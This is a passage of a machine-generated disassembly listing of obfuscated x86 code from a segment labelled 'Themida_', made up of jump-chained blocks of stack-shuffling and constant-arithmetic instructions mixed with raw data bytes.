		dd 0AE44E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D0A:				; CODE XREF: Themida_:0055A44Cj
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		idiv	ecx
		push	5842h
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	eax
		jmp	loc_56A6A5
; ---------------------------------------------------------------------------
aRsM		db 'Ñàé´m',0
		align 4
		dd 0E9C8885Ah, 1076Ch
; ---------------------------------------------------------------------------


loc_557D44:				; CODE XREF: Themida_:005642CFj
		add	esp, 4
		not	edi
		xor	edi, 0CF99E380h
		jmp	loc_562CE0
; ---------------------------------------------------------------------------
		dd 4C681h, 0EC830000h, 242C8904h, 60A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_557D65:				; CODE XREF: Themida_:005605B5j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_559EB4
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 468h, 200E900h, 0BA520000h, 4, 48ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_557D8D:				; CODE XREF: Themida_:005564D9j
		xor	ebp, 16411192h
		dec	ebp
		jmp	loc_5597D7
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 0D4h
		dd 0C1348225h, 0B95107EAh, 5A90614Bh, 0FFF5D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557DAD:				; CODE XREF: Themida_:00562482j
		add	dword ptr [esp], 0FB94040h
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_562CB6
; ---------------------------------------------------------------------------


loc_557DCF:				; CODE XREF: Themida_:005585F8j
		mov	eax, ebx
		pop	ebx
		jmp	loc_5616E1
; ---------------------------------------------------------------------------
		db 81h
		dd 521488C2h, 6DE8E91Ch, 0BF570000h, 39C64A55h,	6066F781h
		dd 0E7814171h, 4BFB35D4h, 4A00F781h, 0B0E92D17h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557DFF:				; CODE XREF: Themida_:0055D79Aj
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_564F96
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 109AEh, 88F2F780h, 241C8BF9h, 4C481h, 0CF280000h, 81240C8Bh
		dd 4C4h, 80DFF600h, 0B55132C7h,	8AE58036h, 0E9F0C580h
		dd 0FFFFFBE0h, 0C681E689h, 4, 0A1C0E9h,	48F5D00h, 305EE924h
		dd 1580000h, 0EF9FE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E5A:				; CODE XREF: Themida_:00569C02j
		pop	eax
		jmp	loc_562D4B
; ---------------------------------------------------------------------------


loc_557E60:				; CODE XREF: Themida_:005600FCj
		add	edi, 6CC514CDh
		pop	ebp
		add	edi, 26FF48A0h
		xor	edi, 38D7930Fh
		add	eax, 71711EE0h
		sub	eax, edi
		sub	eax, 71711EE0h
		pop	edi
		sub	eax, ebx
		add	eax, 776F005Ah
		pop	ebx
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	1102h
		mov	[esp], esi
		jmp	loc_5634DF
; ---------------------------------------------------------------------------
		dd 811968B9h, 0F24BE968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557EAE:				; CODE XREF: Themida_:005673D2j
		add	dl, cl
		pop	ecx
		mov	cl, dl
		pop	edx
		push	ebx
		mov	bh, 0A9h
		jmp	loc_559353
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, 482675D8h
		add	eax, esi
		sub	eax, 482675D8h
		mov	esi, [esp]
		jmp	loc_55A29F
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED810000h, 4, 69DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_557F15:				; CODE XREF: Themida_:0055B581j
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55664D
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 4C48124h,	8F000000h, 248B2404h, 0F076E924h
		dd 30ACFFFFh, 0F2F2E9D8h, 39B8FFFFh, 0E94B890Ch, 1309h
		dd 1C77FF5Ch, 7B240481h, 8B324170h, 0C483240Ch,	58B0E904h
		dd 0E95A0000h, 118FEh, 83241C8Bh, 0B15104C4h, 80C9FE9Bh
		dd 0E98025C1h, 303AE94Ch, 34FF0000h, 70E95D24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557F8B:				; CODE XREF: Themida_:005681A1j
		pop	eax
		mov	eax, esi
		pop	esi
		or	ecx, eax
		jmp	loc_562BBA
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 121A7E9h, 5ECEB800h,	873502CEh, 129102Ch, 0CB0158C3h
		dd 7249EB81h, 0EC832BDEh, 24348904h, 0BF3918BEh, 93EE816Eh
		dd 814BB142h, 9D017BF6h, 4AC68112h, 2910C70Ah, 4FEEE9F3h
		dd 0BB530000h, 1C6E2D53h, 5F14C381h, 0DBF75B1Fh, 0B850DBF7h
		dd 233657Dh, 409FB605h,	0BD02E94Eh, 0A8680000h,	89000064h
		dd 6BB42404h, 8051E480h, 0F4803FE4h, 0E78853D0h, 0C9E9FE88h
		dd 5F000122h, 7D1AE9h, 53C80000h, 0C0C9B050h, 5F2C04E8h
		dd 556AE9h, 815A5A00h, 370D95F7h, 1C7817Ah, 81000000h
		dd 837B2CFh, 0FEF7811Ah, 810F9611h, 0E231FFC7h,	5C78129h
		dd 1C0E060h, 2434FFF8h,	83243C8Bh, 48904ECh, 5E08924h
		dd 4, 405h, 74FF5000h, 0E3E90424h, 5B0000CAh, 0FEEDB450h
		dd 91CC80CCh, 4F55E9h
		db 0
; ---------------------------------------------------------------------------


loc_558081:				; CODE XREF: Themida_:0055AF12j
		mov	ecx, 48D957E5h
		and	ebx, ecx
		pop	ecx
		and	ebx, 664E24AEh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 62B1341Ah
		xor	esi, 94FDB3CEh
		sub	ebx, esi
		jmp	loc_555E18
; ---------------------------------------------------------------------------


loc_5580AA:				; CODE XREF: Themida_:0055EB20j
		sub	edi, 295C68FDh
		sub	edi, 0D80BC0B1h
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5672F9
		push	57C7h
		mov	[esp], eax
		push	ebx
		mov	ebx, 0EBF3A9Eh
		jmp	loc_55AD36
; ---------------------------------------------------------------------------
		db 66h
		dd 66240C89h, 66C8B60Fh, 0D1E99C51h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5580F3:				; CODE XREF: Themida_:005673C1j
		mov	ebp, 30B25083h
		xor	ebp, 5F741A7Bh
		push	ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 6AB93DA7h
		add	ebp, 479E69Fh
		or	ecx, ebp
		pop	ebp
		jmp	loc_5598A2
; ---------------------------------------------------------------------------
aWs1u		db 'Wé1u',0
		dd 81D5F700h, 666A01CDh, 0C05CE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558132:				; CODE XREF: Themida_:00559711j
		pop	eax
		jmp	loc_5591BA
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 0AE95C24h, 30000023h, 0E99C2404h
		dd 0FFFFDB74h, 7EE95653h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558157:				; CODE XREF: Themida_:0055B303j
		pop	esi
		jmp	loc_557A86
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 3Ch
aB4Cj5xhv6	db '4$æJË5Xh¢6',0
		dd 241C8900h, 0FB47E9h
		db 0
; ---------------------------------------------------------------------------


loc_558175:				; CODE XREF: Themida_:0055B3F7j
		add	ebx, eax
		add	ebx, 22A4783h
		jmp	loc_563EFC
; ---------------------------------------------------------------------------


loc_558182:				; CODE XREF: Themida_:0055DD31j
		sub	ecx, 286B5CAEh
		add	ecx, ebx
		add	ecx, 286B5CAEh
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55F315
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0C671F468h, 240C8B23h, 8104C483h, 4D76A4E9h,	6FC98139h
		dd 0E90DD048h, 43FEh
; ---------------------------------------------------------------------------


loc_5581BC:				; CODE XREF: Themida_:0055BEBAj
		add	dword ptr [esp+4], 6E191D03h
		jmp	loc_558E92
; ---------------------------------------------------------------------------
		db 21h,	0F0h, 8Bh
a4Sd		db '4$éD=',0
		dw 5900h
		dd 35D3EA81h, 0EA8112BCh, 32E337ABh, 0B951EA01h, 0D537FF3h
		dd 6925F181h, 0D9F71FCBh, 0DE81F181h, 0C281DF84h, 7D7D75C2h
		dd 278FE9h
		db 0
; ---------------------------------------------------------------------------


loc_558201:				; CODE XREF: Themida_:0055EAFAj
		pop	edx
		push	15D0h
		jmp	loc_568D93
; ---------------------------------------------------------------------------


loc_55820C:				; CODE XREF: Themida_:0055A78Dj
		pop	esp
		jmp	loc_55E220
; ---------------------------------------------------------------------------
		dw 8B58h
		dd 0D9E9240Ch, 570000B6h, 0C781E789h, 4, 739DBD55h, 0DDF7228Ch
		dd 0FFFFED81h, 0ED81FFFFh, 36401EABh, 6DBDF581h, 0EF01A733h
		dd 592EE95Dh, 4BB0000h,	1000000h, 0EF835BDFh, 1AD0E904h
		dd 0E2280000h, 7864E9h
		db 0
; ---------------------------------------------------------------------------


loc_55825D:				; CODE XREF: Themida_:005591A0j
		mov	[esp], ecx
		mov	ecx, 65425E0Dh
		push	eax
		jmp	loc_55C2F2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 6AE9242Ch, 2100012Fh, 0EB8158C3h, 76D230C2h,	685BDF01h
		dd 4BD3h, 0E9242C89h, 1C8Fh, 5DE95Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_558292:				; CODE XREF: Themida_:0056409Bj
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		jmp	loc_55BCB5
; ---------------------------------------------------------------------------
		dw 5366h
		dd 4EC81h, 14890000h, 0BF6BE924h, 0F5010000h, 6F8EC581h
		dd 348B0D49h, 4C48124h,	68000000h, 7277h, 0E9243489h, 897Fh
		dd 0F7D1E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5582D2:				; CODE XREF: Themida_:0056ADCDj
		pop	edx
		jmp	loc_55908F
; ---------------------------------------------------------------------------
		dd 68240489h, 6BF5362Bh, 0E0895058h, 405h, 42D00h, 4870000h
		dd 2C895C24h, 4EC8124h,	89000000h, 0CF68243Ch, 8B58E43Ah
		dd 0E952243Ch, 8FADh, 2860C681h, 0CE015CF6h, 0FFDDE6E9h
		dd 5FFA89FFh, 59EAE953h, 5A540000h, 59D8E950h, 89530000h
		dd 4C381E3h, 68000000h,	58D9h, 95D1E9h,	5F82900h, 30FD5760h
		dd 6928BA52h, 0D0296AA4h, 243C8B5Ah, 53E68956h,	4BBh, 5BDE0100h
		dd 0E904C683h, 12D39h, 515EF281h, 0BD551E7Eh, 14C7216Eh
		dd 15EDC581h, 0F5817F9Ah, 4FCA147Bh, 1F82E9h
		db 0
; ---------------------------------------------------------------------------


loc_558381:				; CODE XREF: Themida_:0056A989j
		xor	esi, 33E17A7Ch
		sub	ebx, esi
		pop	esi
		pop	eax
		jmp	loc_55C325
; ---------------------------------------------------------------------------


loc_558390:				; CODE XREF: Themida_:0056532Dj
		mov	ebp, 68E548AEh
		jmp	loc_5564D8
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 7201h
; ---------------------------------------------------------------------------


loc_5583A0:				; CODE XREF: Themida_:00567FD3j
		not	ch
		add	ch, 4Fh
		mov	dh, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	dh, 5
		xor	dh, 77h
		shr	dh, 6
		jmp	loc_568817
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0A4E9243Ch, 8900011Ch
		dd 4C581E5h, 81000000h,	4C5h, 242C8700h, 2434875Ch, 8924248Bh
		dd 5F54243Ch, 0FA685255h, 5A223670h, 0BC2814Ah,	89DDC98Fh
		dd 0ACE95AD5h, 8100005Bh, 4ECh,	240C8900h, 9C68E189h, 8900005Fh
		dd 0E4BD242Ch, 0E9372651h, 6C4Fh, 0AF7BB7BDh, 3ABB530Eh
		dd 17D5E41h, 241C8BDDh,	4D04C483h, 4EC81h, 4890000h, 8764B824h
		dd 0C52928E9h, 8324048Bh, 3C8904ECh, 535F5424h,	4BBh, 0A12EE900h
		dd 0C7010000h, 8B2434FFh, 0C4832404h, 4C48104h,	51000000h
		dd 6C7F38B9h, 0E9CF2134h, 73A0h, 3D0D5C68h, 8BE95F2Eh
		dd 83000055h, 3C8904ECh, 6F1FBF24h, 0EF813171h,	2F2B6DB9h
		dd 0FFEF0AE9h, 81E289FFh, 4C2h,	1956E900h, 814A0000h, 1EAh
		dd 0BF2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5584E2:				; CODE XREF: Themida_:0056B108j
		push	1F8076F8h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5629CA
; ---------------------------------------------------------------------------
		dd 4669CA81h, 0B8504C85h, 225D358Ch, 48BC201h, 4C48124h
		dd 81000000h, 0AB52F9C2h, 5AD5016Eh, 8B242C87h,	0BF0F2424h
		dd 2FE953C8h, 810000E7h, 0B719F3EEh, 0E9F0013Bh, 0AAAh
		dd 9A168h, 24148900h, 10DD0E9h,	24348700h, 51CB875Ch, 0E9240487h
		dd 0FFFFDF9Fh, 24040166h, 0D772E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558552:				; CODE XREF: Themida_:0055E1B3j
		sub	ebp, edi
		jmp	loc_5609F4
; ---------------------------------------------------------------------------


loc_558559:				; CODE XREF: Themida_:0055E7F4j
		mov	eax, [esp]
		jmp	loc_55D23A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 8F000000h,	0EC812404h, 4, 81241C89h, 4ECh
		dd 242C8900h, 204D64BDh, 0B6F5811Bh, 0E955AC59h, 0DFF0h
		dd 25D9ED81h, 0D7E977B3h, 5900010Ch, 0E9595451h, 11096h
		dd 0DE3A18BEh, 3C6811Fh, 462A204Dh, 81FFEE83h, 877EF9F6h
		dd 5EF12980h, 34FFCE31h, 8F48E924h, 14310000h, 24143324h
		dd 0E924248Bh, 0F833h, 65A3685Ch, 1C890000h, 50F9E924h
		dd 0C4810000h, 4, 4EC81h, 9AE90000h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5585F3:				; CODE XREF: Themida_:0056002Bj
		mov	ebx, 695D7917h
		jmp	loc_557DCF
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 54240C89h,	0E0E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55860D:				; CODE XREF: Themida_:00568C3Cj
		add	edx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56025C
; ---------------------------------------------------------------------------
		db 80h
		dd 0CBFEE1F3h, 5E9C3FEh, 53FFFFE7h, 0BB1E6D68h,	0D9215B09h
		dd 0F183E95Bh, 0C181FFFFh, 2, 0FFF407E9h, 4C481FFh, 55000000h
		dd 2BDh, 5DEB0100h, 0E9241C87h,	0FFFFECBFh, 0CB6492B8h
		dd 8BF029A0h, 0C4832434h, 58C30104h, 5C3FE94Bh,	8B660000h
		dd 0C0E92404h, 8B0000B2h, 0C481243Ch, 4, 0A7ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_558685:				; CODE XREF: Themida_:0055B3FFj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		not	ecx
		push	7DB3h
		mov	[esp], eax
		push	5D5h
		mov	[esp], ecx
		mov	eax, [esp]
		push	ecx
		jmp	loc_55C52C
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 8904C483h, 0C3015DE8h, 8124048Bh,	4C4h, 4C38100h
		dd 0E9000000h, 8A1Bh, 57240489h, 588DE9h, 3CD36600h, 0E5E99C24h
		dd 54FFFFD5h, 4EC8358h,	0E9241489h, 0FFFFD9E4h,	3EF368h
		dd 24048900h, 42474FFh,	129DE958h, 14870001h, 0C0835C24h
		dd 19EE904h, 0EC810000h, 4, 0E9240489h,	4751h, 51242489h
		dd 4B9h, 24448100h, 0A4AEC04h, 0B76AE955h, 8B660000h, 19682404h
		dd 89000027h, 5D54242Ch, 2DF68h, 83DCE900h, 48400000h
		dd 7D76DE35h, 0E9C30143h, 4DDCh
; ---------------------------------------------------------------------------


loc_558754:				; CODE XREF: Themida_:0055F87Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		mov	dl, 55h
		add	al, dl
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 9Eh
		push	20C3h
		jmp	loc_55FB7A
; ---------------------------------------------------------------------------


loc_558781:				; CODE XREF: Themida_:0055FECEj
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		sub	edi, 731E665Fh
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 721D484Eh
		add	eax, ebx
		sub	eax, 721D484Eh
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	2DDDh
		mov	[esp], esi
		jmp	loc_5569C8
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0E62B850h, 0EA0579D4h, 0E93AB827h, 123D5h, 9D1C77FFh
		dd 11665866h, 0E99C2404h, 0FFFFD4E0h, 69D3685Ch, 0C5E90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587EF:				; CODE XREF: Themida_:00559CD7j
		mov	eax, 249C00F8h
		mov	ecx, 91D04338h
		sub	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 628078FCh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 41D44FF0h
		add	ebp, 8F36A9E5h
		or	ecx, ebp
		pop	ebp
		push	58F8h
		mov	[esp], eax
		push	esi
		push	eax
		mov	eax, 294E4115h
		push	ecx
		mov	ecx, 61D4539h
		sub	ecx, 61DC3174h
		jmp	loc_55F8AB
; ---------------------------------------------------------------------------
		dw 868h
		dd 89000010h, 0E953242Ch, 0BB60h
; ---------------------------------------------------------------------------


loc_558844:				; CODE XREF: Themida_:00555DF1j
		or	cl, 0F4h
		add	cl, 1
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		jmp	loc_55B26E
; ---------------------------------------------------------------------------
		db 4
		dd 4032C60h, 2CF82866h,	81030466h, 2ECh, 14896600h, 60B35324h
		dd 95EFE9h, 5E575A00h, 78C3815Fh, 1402F0Fh, 78EB81F3h
		dd 5E402F0Fh, 6ADEB81h,	0B2526E88h, 50C2FE4Eh, 4055854h
		dd 83000000h, 0EAE902E8h, 0E900009Eh, 0FFFFD41Ch, 2474FF50h
		dd 48F5804h, 0FE685C24h, 89000078h, 94E92434h, 5C000052h
		dd 12325E9h, 5EF30100h,	295BDA29h, 55C281EAh, 5D22E85Ah
		dd 9BC1F281h, 0C9E93CCEh, 0FF0000F2h, 34FF2434h, 3074E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5588EA:				; CODE XREF: Themida_:00560531j
		pop	esi
		jmp	loc_55F834
; ---------------------------------------------------------------------------


loc_5588F0:				; CODE XREF: Themida_:0056A5DEj
		push	bx
		mov	bx, 2043h
		push	edx
		mov	dx, 7633h
		jmp	loc_56841E
; ---------------------------------------------------------------------------


loc_558900:				; CODE XREF: Themida_:00559891j
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 14C21F79h
		sub	edx, 0C875D1Dh
		dec	edx
		not	edx
		jmp	$+5
		sub	edx, 0FFFFFFFFh
		sub	edx, 0F7C53DA1h
		add	ebx, edx
		pop	edx
		jmp	loc_55A711
; ---------------------------------------------------------------------------
		dw 895Dh
		dd 0C3295AD0h, 0C8EB8158h, 29630F79h, 0D7E951C3h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55893F:				; CODE XREF: Themida_:0056600Bj
		pop	edx
		add	edx, 4
		jmp	loc_5610FA
; ---------------------------------------------------------------------------
		db 81h
		dd 2E0A3872h, 34FF3488h, 0EC835924h, 242C8904h,	242C8B54h
		dd 37EAE9h, 5EF30100h, 803FE9h,	4C48100h, 81000000h, 2D66BCF7h
		dd 5FF98962h, 3A5F358h,	0EC833862h, 240C8904h, 8256E9h
		dd 8CC28100h, 5853EE24h, 148BD031h, 4C48124h, 0E9000000h
		dd 1868h, 0C681E689h, 4, 329DBA52h, 0F2810758h,	574C67B4h
		dd 552DF281h, 0D6015014h, 74FF565Ah, 8F5E0424h,	335C2404h
		dd 4312404h, 24043324h,	0E9F7665Ch, 2D89E9h, 4C48100h
		dd 52000000h, 9F5688BAh, 0C1DAF734h, 0D2F704E2h, 986F281h
		dd 0BE5646C8h, 0F3D61FDh, 7659E9h, 585F5000h, 6C4AEA81h
		dd 0FA017485h, 11753E9h
		db 0
; ---------------------------------------------------------------------------


loc_558A11:				; CODE XREF: Themida_:0055D867j
		add	cl, 0AFh
		jmp	loc_55A634
; ---------------------------------------------------------------------------
a1Bc		db '1Þ[æ»',0
		dd 0C68169C9h, 7BFE2B9Eh, 1C45EE81h, 0C3811A0Eh, 7B1C006Ah
		dd 0EB81F301h, 7B1C006Ah, 0E92434FFh, 2DE9h
; ---------------------------------------------------------------------------


loc_558A44:				; CODE XREF: Themida_:00561149j
		push	bx
		not	byte ptr [esp]
		pop	bx
		add	bl, 0B3h
		add	al, bl
		jmp	loc_56A327
; ---------------------------------------------------------------------------


loc_558A55:				; CODE XREF: Themida_:005600F5j
		add	ebx, ebp
		pop	ebp
		jmp	loc_564F42
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 14290000h, 77D6E924h, 0C6810000h, 4,	4EE81h,	34870000h
		dd 4DE95C24h, 52FFFFFCh, 732D62BAh, 2EAC136h, 2A97F281h
		dd 0C28104EAh, 616253CFh, 1105EE9h, 6E1C100h, 0FFC18349h
		dd 7F8068h, 24048900h, 91A68h, 240C8900h, 0C171C868h, 0CF685913h
		dd 8900003Eh, 0D2BF243Ch, 810F0738h, 4E4116F7h,	96EF813Dh
		dd 1041B83h, 243C8BF9h,	4C5FE9h
		db 0
; ---------------------------------------------------------------------------


loc_558AD9:				; CODE XREF: Themida_:005677C6j
		dec	dh
		add	dh, 6Eh
		and	dh, 7Dh
		push	ecx
		mov	cl, 0FAh
		add	dh, cl
		pop	ecx
		shl	dh, 4
		add	dh, 0C4h
		jmp	loc_569373
; ---------------------------------------------------------------------------
		dw 0ED83h
		dd 242C8704h, 240C895Ch, 0E9555954h, 12515h, 0E9028F66h
		dd 0FFFFD1B8h, 445FC281h, 8BE97FEAh, 5200000Ah,	0C88E43BAh
		dd 0EBEE81CFh, 1453505h, 0EBC681D6h, 5A453505h,	348BF001h
		dd 2443E924h, 4A050001h, 89EB321Ah, 0D78958C2h,	6ADB685Ah
		dd 3BE90000h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558B4B:				; CODE XREF: Themida_:0055DCB8j
		add	ebp, 4
		push	73DFh
		mov	[esp], ecx
		jmp	loc_55A155
; ---------------------------------------------------------------------------
		dw 3489h
		dd 1E64BE24h, 0C14634C6h, 4CE906E6h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558B6F:				; CODE XREF: Themida_:00565327j
		pop	eax
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 517C06D6h
		push	edi
		not	dword ptr [esp]
		pop	edi
		and	edi, 1EEA579Eh
		jmp	loc_55E1AD
; ---------------------------------------------------------------------------


loc_558B89:				; CODE XREF: Themida_:0056844Cj
		mov	edx, 66E93984h
		jmp	loc_5569B8
; ---------------------------------------------------------------------------
a7sh		db '²7éHÐ',0
		align 2
		dw 1068h
		dd 8900005Dh, 14F72404h, 0D8F75824h, 0C8558335h, 0BD64E953h
		dd 71BB0000h, 936BF27Ah, 0A968D0F7h, 8900007Ah,	5B50241Ch
		dd 6E3C158h, 0FFDC39E9h, 29EE81FFh, 295E0149h, 29C681D6h
		dd 5A5E0149h, 22B2E9h, 2474FF00h, 2434FF04h, 0E924148Bh
		dd 0D527h, 3026C281h, 0C8B35C7h, 4C48324h, 148BD031h, 4C48324h
		dd 3E03E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C0A:				; CODE XREF: Themida_:0055BDFFj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56B14E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHa0		db '$hA0',0
		align 2
		dw 3C89h
		dd 81E78924h, 4C7h, 0FAE95300h,	6600008Ch, 55240C8Bh, 72685D54h
		dd 8900001Ah, 8CBB241Ch, 0F716F14Dh, 0A2EB81DBh, 0E902C82Ch
		dd 104BBh, 0FFD06FE9h, 4EC81FFh, 89000000h, 0BF572404h
		dd 6300060Ch, 9605BD55h, 0C781FB9Fh, 3EEE7B99h,	0EF81EF29h
		dd 3EEE7B99h, 124AFE9h,	59CF0100h, 5C243C87h, 8B1C6F21h
		dd 8956242Ch, 0B892E9E6h, 24890000h, 24048124h,	4, 4C3815Bh
		dd 0E9000000h, 0B039h, 0E959CC00h, 1410h
; ---------------------------------------------------------------------------


loc_558CB0:				; CODE XREF: Themida_:0056AD1Bj
		pop	ecx
		not	ecx
		jmp	loc_5681B7
; ---------------------------------------------------------------------------
		dd 7FC6851h, 0CEE932C4h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558CC3:				; CODE XREF: Themida_:00563158j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		pop	dword ptr [edi+24h]
		pop	esi
		jmp	loc_565FEA
; ---------------------------------------------------------------------------
		dd 4C0835Eh, 0E9240433h, 76A5h
; ---------------------------------------------------------------------------


loc_558CEC:				; CODE XREF: Themida_:00556231j
		pop	edx
		jmp	loc_567FD8
; ---------------------------------------------------------------------------


loc_558CF2:				; CODE XREF: Themida_:0055FFB8j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 6A1F78A2h
		pop	ecx
		xor	eax, ebx
		jmp	loc_568756
; ---------------------------------------------------------------------------


loc_558D0C:				; CODE XREF: Themida_:00561924j
		pop	ecx
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	3BD9h
		mov	[esp], eax
		jmp	loc_568B79
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BB241C89h, 24E43F87h, 0FE9D3F7h,	80000100h, 0F18011F1h
		dd 59CB0031h, 839BC380h, 148904ECh, 0E270E924h,	0E95AFFFFh
		dd 0EDE5h
; ---------------------------------------------------------------------------


loc_558D70:				; CODE XREF: Themida_:00568822j
		mov	bh, 4Fh
		shl	bh, 4
		shl	bh, 1
		dec	bh
		add	bh, 11h
		jmp	loc_5680C6
; ---------------------------------------------------------------------------


loc_558D81:				; CODE XREF: Themida_:005693DFj
		sub	eax, 0E7537A10h
		jmp	loc_55C7A4
; ---------------------------------------------------------------------------
		db 28h
		dd 0E82859E8h, 8087B151h, 0E1C05BF1h, 0C0C9FE08h, 0C18008E1h
		dd 0E9C8002Ah, 0B31Fh
; ---------------------------------------------------------------------------


loc_558DA8:				; CODE XREF: Themida_:00555E38j
		pop	esp
		not	ebx
		xor	ebx, 0F6ECA7DAh
		push	ebx
		sub	dword ptr [esp], 70BB5ACEh
		jmp	loc_566F55
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 5B40118Dh, 0FFE90CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558DC9:				; CODE XREF: Themida_:0056A71Aj
		jmp	loc_55E143
; ---------------------------------------------------------------------------


loc_558DCE:				; CODE XREF: Themida_:0055B195j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 3E495AE7h
		xor	eax, 847237Eh
		jmp	loc_55A79C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
